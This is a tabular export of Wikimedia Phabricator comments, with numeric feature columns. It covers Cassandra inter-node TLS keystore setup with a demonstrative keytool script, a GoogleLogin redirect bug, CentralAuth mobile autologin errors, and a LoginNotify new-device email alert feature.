```",,,1439502729,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

``CODE`CODE`CODE``"
507849,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

```
#!/bin/bash                                                                                             

for dc in eqiad codfw; do
    for i in {1..9}; do
        node=restbase100$i.$dc

        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
        keytool \
            -genkeypair \
            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
            -keyalg RSA \
            -alias $node \
            -validity 365 \
            -keypass qwerty \
            -storepass pass123 \
            -keystore $node.ks

        # Export the certificate generated above, in RFC 1421 format                                    
        keytool \
            -exportcert \
            -rfc \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore $node.ks

        # Import the previously exported cert into the truststore                                       
        keytool \
            -importcert \
            -v \
            -trustcacerts \
            -noprompt \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore truststore
    done
done
```

And the above would be configured in Cassandra with something like the following (in cassandra.yaml):

```
...

server_encryption_options:
    internode_encryption: none
    keystore: restbase1001.eqiad.ks
    keystore_password: qwerty
    truststore: conf/truststore
    truststore_password: pass123
    require_client_auth: true

...
```",,,1439502710,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

``CODE`CODE`CODE``"
507844,Cassandra inter-node encryption (TLS),"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

```
#!/bin/bash                                                                                             

for dc in eqiad codfw; do
    for i in {1..9}; do
        node=restbase100$i.$dc

        # Generate node-specific keystore with (2048 byte) RSA key, (lasts 1yr)                         
        keytool \
            -genkeypair \
            -dname ""cn=Eric Evans, ou=Services, o=WMF, c=US"" \
            -keyalg RSA \
            -alias $node \
            -validity 365 \
            -keypass qwerty \
            -storepass pass123 \
            -keystore $node.ks

        # Export the certificate generated above, in RFC 1421 format                                    
        keytool \
            -exportcert \
            -rfc \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore $node.ks

        # Import the previously exported cert into the truststore                                       
        keytool \
            -importcert \
            -v \
            -trustcacerts \
            -noprompt \
            -alias $node \
            -file $node.crt \
            -storepass pass123 \
            -keystore truststore
    done
done
```
",,,1439502542,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5517241379310347,0.8620689655172413,"So (for demonstrative purposes only), here is how the process of {key,trust}store generation usually goes:

``CODE``
"
507856,Cassandra inter-node encryption (TLS),">>! In T108953#1535313, @Joe wrote:
> @Eevans a few questions:
> - how should the certs be created (I mean, what should be the name on the cert)?

I don't think this matters (if I understand the question correctly).

> - is there some limitation/ reccomendation on key lengths, etc?

People typically use the `keytool` default of 2048 for RSA keys.

> - do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?

~~I don't think this necessary; TTBMK, Cassandra is relying entirely on the the explicitly configured truststore (meaning, I don't think we can avoid this step).~~

Edit: To be clear, I don't think it would be any problem to use CA signed certificates, even if people generally just add the certs they are interested in to the truststore.

> depending on the answers, we might make use of the puppet-generated host certs or not.

It sounds like it's possible to import an externally generated key, (see for example: http://stackoverflow.com/a/8224863).

",,,1439502948,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,1.0,0.0,0.5,0.0,2.5,3.0,2.5,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.5,4.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,10.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,0.0,0.0,4.5,3.0,12.0,1.5,0.0,7.0,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,6.0,8.0,5.5,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9155011655011656,0.7335664335664336,"QUOTE
QUOTE
QUOTE

I don't think this matters (if I understand the question correctly).

QUOTE

People typically use the CODE default of 2048 for RSA keys.

QUOTE

~~I don't think this necessary; TTBMK, Cassandra is relying entirely on the the explicitly configured truststore (meaning, I don't think we can avoid this step).~~

Edit: To be clear, I don't think it would be any problem to use CA signed certificates, even if people generally just add the certs they are interested in to the truststore.

QUOTE

It sounds like it's possible to import an externally generated key, (see for example: URL

"
507818,Cassandra inter-node encryption (TLS),">>! In T108953#1535313, @Joe wrote:
> @Eevans a few questions:
> - how should the certs be created (I mean, what should be the name on the cert)?

I don't think this matters (if I understand the question correctly).

> - is there some limitation/ reccomendation on key lengths, etc?

People typically use the `keytool` default of 2048 for RSA keys.

> - do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?

I don't think this necessary; TTBMK, Cassandra is relying entirely on the the explicitly configured truststore (meaning, I don't think we can avoid this step).

> depending on the answers, we might make use of the puppet-generated host certs or not.

It sounds like it's possible to import an externally generated key, (see for example: http://stackoverflow.com/a/8224863).

",,,1439500581,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,9.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,1.0,18.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,7.0,6.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.8421052631578947,0.631578947368421,"QUOTE
QUOTE
QUOTE

I don't think this matters (if I understand the question correctly).

QUOTE

People typically use the CODE default of 2048 for RSA keys.

QUOTE

I don't think this necessary; TTBMK, Cassandra is relying entirely on the the explicitly configured truststore (meaning, I don't think we can avoid this step).

QUOTE

It sounds like it's possible to import an externally generated key, (see for example: URL

"
507464,Cassandra inter-node encryption (TLS),"@Eevans a few questions:
- how should the certs be created (I mean, what should be the name on the cert)? 
- is there some limitation/ reccomendation on key lengths, etc?
- do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?

depending on the answers, we might make use of the puppet-generated host certs or not.",,,1439479076,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,6,True,2.0,0.0,0.0,2.0,1.0,4.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,5.0,5.0,2.0,1.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,4.0,10.0,1.0,4.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,2.0,3.4301075268817205,0.6774193548387096,"SCREEN_NAME a few questions:
- how should the certs be created (I mean, what should be the name on the cert)? 
- is there some limitation/ reccomendation on key lengths, etc?
- do those certs need to be signed by a CA? if so, I guess we would need to rebuild the java keystore for that. Is that right?

depending on the answers, we might make use of the puppet-generated host certs or not."
108473,Returnto doesn't work with GoogleLogin,"If you click the Login link on an article page and login using your username and password, you will be redirected to the article from where you started the login process automatically. If you use GoogleLogin instead, you get redirected to the main page. You should be redirected to the article, too, if you use GoogleLogin.",High,80.0,1439041607,1439042285.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-if5incnv7p5hd5pru7oi,task_description,resolved,True,c3,3,True,True,True,5,True,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,6.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,13.0,13.0,5.0,0.0,0.0,0.0,13.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.253968253968254,0.5714285714285714,"If you click the Login link on an article page and login using your username and password, you will be redirected to the article from where you started the login process automatically. If you use GoogleLogin instead, you get redirected to the main page. You should be redirected to the article, too, if you use GoogleLogin."
504673,Returnto doesn't work with GoogleLogin,"Change 230307 merged by jenkins-bot:
Fix return to page where login process started

[[https://gerrit.wikimedia.org/r/230307]]",,,1439042253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-if5incnv7p5hd5pru7oi,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,3.8260869565217392,0.9130434782608695,"Change 230307 merged by jenkins-bot:
Fix return to page where login process started

[[GERRIT_URL]]"
504672,Returnto doesn't work with GoogleLogin,"Change 230307 had a related patch set uploaded (by Florianschmidtwelzow):
Fix return to page where login process started

[[https://gerrit.wikimedia.org/r/230307]]
",,,1439042107,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-if5incnv7p5hd5pru7oi,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,14.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,11.0,4.321428571428571,0.8928571428571429,"Change 230307 had a related patch set uploaded (by Florianschmidtwelzow):
Fix return to page where login process started

[[GERRIT_URL]]
"
108201,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)","1. View https://commons.m.wikimedia.org/wiki/Main_Page
2. Open web console

> GET https://www.m.mediawiki.org/wiki/Special:CentralAutoLogin/start?type=1x1&from=commonswiki&mobile=1 DNS net::ERR_NAME_NOT_RESOLVED
> GET https://www.m.wikidata.org/wiki/Special:CentralAutoLogin/start?type=1x1&from=commonswiki&mobile=1 DNS net::ERR_NAME_NOT_RESOLVED

May be related:
* {T45123}",High,80.0,1438881269,1584983733.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-ipatywsrykw764ppptl4,task_description,duplicate,True,c3,3,True,False,False,5,True,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.6666666666666665,0.7916666666666666,"1. View URL
2. Open web console

QUOTE
QUOTE

May be related:
* {T45123}"
1469393,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)",Closing this as a duplicate of T225814 as actual debugging of the issue has happened on that task.,,,1584983758,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-ipatywsrykw764ppptl4,task_subcomment,,True,c3,3,True,,,246,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.2631578947368425,0.8947368421052632,Closing this as a duplicate of T225814 as actual debugging of the issue has happened on that task.
598866,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)",still is broken :/,,,1453975581,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-ipatywsrykw764ppptl4,task_subcomment,,True,c3,3,True,,,30,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,still is broken :/
503409,"CentralAuth autologin broken for non-www mobile domains (mediawiki.org, wikidata.org)","Probably related to T100413 ?
",,,1438881336,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-ipatywsrykw764ppptl4,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Probably related to T100413 ?
"
107707,Login alert when user logs in from new machine,"Create an opt-in email notification when a user logs in for a new device. This is for admins and active editors who are worried about getting hacked. 

The notification is off by default, opt-in under the Notifications tab. 

Definition of ""new device"" is the same as LoginNotify. There's a cookie per device, which lasts for 90 days since the last time you logged in with that device. 


Email: 

Someone (probably you) recently logged in to your account from a new device. If this was you, then you can disregard this message. If it wasn't you, then it's recommended that you change your password, and check your account activity.

Help information:  <https://mediawiki.org/wiki/Help:Login_notifications?markasread=60>

Change password:  <http://core.local/index.php/Special:ChangePassword>



----

original ticket:

Most large sites (Facebook, Google etc.) offer some kind of alert when someone logs in to an account from a new machine - it's a good way of protecting against account theft:
{F305280}
{F305286}
{F2546774}

I wonder if something like that would make sense for MediaWiki? Ie.
* put the one.way hashed username in a cookie with very long expiration
* after a successful login check for the presence of the cookie
* if it's there, update the expiration date
* if it's not there, and the user requested alerts, send an email with the IP and other details of the login.",High,80.0,1438542665,1499888418.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-qztkawkvfnwvkspdr46l,False,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_description,resolved,True,c3,3,True,False,False,4,True,0.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,5.0,1.3333333333333333,0.0,0.0,1.6666666666666667,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.333333333333333,13.666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.0,1.0,1.6666666666666667,0.0,3.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,16.333333333333332,1.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,7.333333333333333,2.0,8.333333333333334,3.0,1.3333333333333333,9.666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,5.0,13.666666666666666,3.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,5.0,0.0,1.3333333333333333,3.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,3.7083333333333335,0.6597222222222222,"Create an opt-in email notification when a user logs in for a new device. This is for admins and active editors who are worried about getting hacked. 

The notification is off by default, opt-in under the Notifications tab. 

Definition of ""new device"" is the same as LoginNotify. There's a cookie per device, which lasts for 90 days since the last time you logged in with that device. 


Email: 

Someone (probably you) recently logged in to your account from a new device. If this was you, then you can disregard this message. If it wasn't you, then it's recommended that you change your password, and check your account activity.

Help information:  <URL

Change password:  <URL



----

original ticket:

Most large sites (Facebook, Google etc.) offer some kind of alert when someone logs in to an account from a new machine - it's a good way of protecting against account theft:
{F305280}
{F305286}
{F2546774}

I wonder if something like that would make sense for MediaWiki? Ie.
* put the one.way hashed username in a cookie with very long expiration
* after a successful login check for the presence of the cookie
* if it's there, update the expiration date
* if it's not there, and the user requested alerts, send an email with the IP and other details of the login."
893006,Login alert when user logs in from new machine,"Here's what the HTML email looks like: 

{F8722503}

The preference is off by default for all.",,,1499888418,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,105,True,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4782608695652173,0.9565217391304348,"Here's what the HTML email looks like: 

{F8722503}

The preference is off by default for all."
892114,Login alert when user logs in from new machine,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AV0z-J-TU4b8yJAIAg9B} [2017-07-11T23:25:18Z] <dereckson@tin> Synchronized wmf-config/CommonSettings.php: Config changes for LoginNotify (T107707) (duration: 00m 47s)",,,1499815518,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,105,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.7884615384615383,0.7884615384615384,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-07-11T23:25:18Z] <dereckson@tin> Synchronized wmf-config/CommonSettings.php: Config changes for LoginNotify (T107707) (duration: 00m 47s)"
892111,Login alert when user logs in from new machine,"Change 362323 merged by jenkins-bot:
[operations/mediawiki-config@master] Config changes for LoginNotify

[[https://gerrit.wikimedia.org/r/362323]]
",,,1499815262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,105,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.185185185185185,0.7777777777777778,"Change 362323 merged by jenkins-bot:
[operations/mediawiki-config@master] Config changes for LoginNotify

[[GERRIT_URL]]
"
891045,Login alert when user logs in from new machine,">>! In T107707#3423365, @kaldari wrote:
> @Niharika: Should be no blockers now. Please schedule this for SWAT deployment.

Scheduled for Tuesday evening SWAT. ",,,1499733024,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,105,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9,"QUOTE
QUOTE

Scheduled for Tuesday evening SWAT. "
891018,Login alert when user logs in from new machine,@Niharika: Should be no blockers now. Please schedule this for SWAT deployment.,,,1499730546,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,105,True,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9333333333333333,SCREEN_NAME: Should be no blockers now. Please schedule this for SWAT deployment.
885164,Login alert when user logs in from new machine,"Change 362323 had a related patch set uploaded (by Niharika29; owner: Niharika29):
[operations/mediawiki-config@master] Config changes for LoginNotify

[[https://gerrit.wikimedia.org/r/362323]]
